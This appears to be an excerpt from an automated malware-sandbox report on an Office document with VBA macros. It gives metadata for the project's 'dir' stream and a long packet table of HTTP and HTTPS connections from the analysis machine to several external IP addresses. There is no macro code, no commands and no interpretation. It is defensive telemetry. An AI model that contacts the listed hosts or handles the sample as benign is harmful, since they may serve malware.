Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 547

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	data
Stream Size:	547
Entropy:	6.129298700211954
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
Data Raw:	01 1f b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 80 86 83 62 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:44:44.208012104 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:44.435518026 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:44.435723066 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:44.448237896 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:44.675437927 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.878160954 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.878202915 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.878228903 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.878252029 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.878335953 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.878388882 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.880299091 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.880377054 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.880390882 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.880404949 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.880424023 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.880431890 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.880517006 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.885863066 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.885900021 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:45.886015892 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.886051893 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:45.922238111 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.063199997 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.080044031 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.080209970 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.083647013 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.100317955 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.105458021 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105490923 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105518103 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105521917 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105545998 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105549097 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105560064 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105577946 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105592012 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105607986 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105623960 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105635881 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105648041 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105665922 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.105679035 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.105983019 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107300997 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107335091 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107378006 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.107388020 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107403040 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.107422113 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107448101 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107475996 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107486963 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.107497931 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:44:46.107526064 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107530117 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.107547998 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:44:46.107554913 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107584953 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107585907 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107609987 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107610941 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107628107 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107654095 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107676983 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107695103 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107695103 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.107711077 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107728958 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.107755899 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.110727072 CEST	49766	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.121587038 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.152240992 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.152339935 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.152972937 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.198421955 CEST	49772	80	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.218332052 CEST	80	49772	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.218615055 CEST	49772	80	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.219603062 CEST	49772	80	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.237970114 CEST	80	49772	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.251782894 CEST	80	49772	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.251872063 CEST	49772	80	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.261970997 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.262028933 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.262331009 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.301531076 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.301572084 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.338464022 CEST	80	49766	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.353741884 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.353935957 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.354474068 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.354526043 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.354625940 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.355439901 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.355539083 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.384430885 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384581089 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384612083 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384635925 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384680986 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384691000 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384700060 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384713888 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384735107 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384768963 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384850979 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384876013 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384893894 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384896994 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.384916067 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384939909 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.384989977 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.385016918 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.385035992 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.385070086 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.585700989 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.585752010 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.585854053 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.585861921 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.585891962 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.585922003 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.585937023 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.585954905 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.585995913 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.585997105 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.586018085 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.586038113 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.586059093 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.586071014 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.586092949 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.586112976 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.586126089 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.586128950 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.586148024 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.586170912 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.586198092 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.616087914 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616121054 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616139889 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616158009 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616174936 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616190910 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616200924 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.616209030 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.616239071 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.616539001 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.617850065 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.814796925 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.814821959 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.815104008 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.815190077 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.817877054 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.817915916 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.817940950 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.817967892 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.817994118 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818018913 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818021059 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818046093 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818051100 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818072081 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818098068 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818111897 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818125963 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818140984 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818152905 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818166971 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818181038 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818202019 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818206072 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818224907 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818232059 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818258047 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818259954 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818272114 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818285942 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818298101 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818337917 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818348885 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818362951 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818387985 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818389893 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818411112 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818413019 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.818439007 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818461895 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.818697929 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.848284006 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848328114 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848357916 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848391056 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848421097 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848450899 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848485947 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848488092 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848520994 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848542929 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848579884 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848592043 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848612070 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848630905 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848642111 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848654985 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848674059 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848681927 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848704100 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848725080 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848733902 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848743916 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848762989 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848773956 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848792076 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848800898 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848824024 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848851919 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848855972 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848886013 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848891020 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848915100 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:46.848917007 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848942995 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.848972082 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.856096983 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:46.856167078 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.856206894 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.856231928 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.856254101 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.856262922 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.856293917 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.856343985 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.857146978 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.857228994 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.857239008 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.857321978 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.858386993 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.858494043 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.858503103 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.858549118 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.859781981 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.859865904 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.859874964 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.859920979 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.860939026 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.861073971 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.861083984 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.861138105 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.862288952 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.862364054 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.862371922 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.862598896 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.863635063 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.863696098 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.863703966 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.863754988 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.874371052 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.874481916 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.874491930 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.874547005 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.874881029 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.874941111 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.874948025 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.875000954 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.876132965 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.876231909 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.876241922 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.876296997 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.877398014 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.877496958 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.877505064 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.877564907 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.878765106 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.878959894 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.878968000 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.879024029 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.880000114 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.880091906 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.880101919 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.880152941 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.881337881 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.881405115 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.881412983 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.881465912 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.882606983 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.882688999 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.882698059 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.882754087 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.883852959 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.884001017 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.884007931 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.884053946 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.885173082 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.885283947 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.885293007 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.885344982 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.886337042 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.886406898 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.886415958 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.886465073 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.887517929 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.887583971 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.887593031 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.887638092 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.888849974 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.888937950 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.888947010 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.889009953 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.889988899 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.890072107 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.890081882 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.890131950 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.891274929 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.891376972 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.891386032 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.891438007 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.892582893 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.892657995 CEST	49773	443	192.168.2.5	142.250.181.238
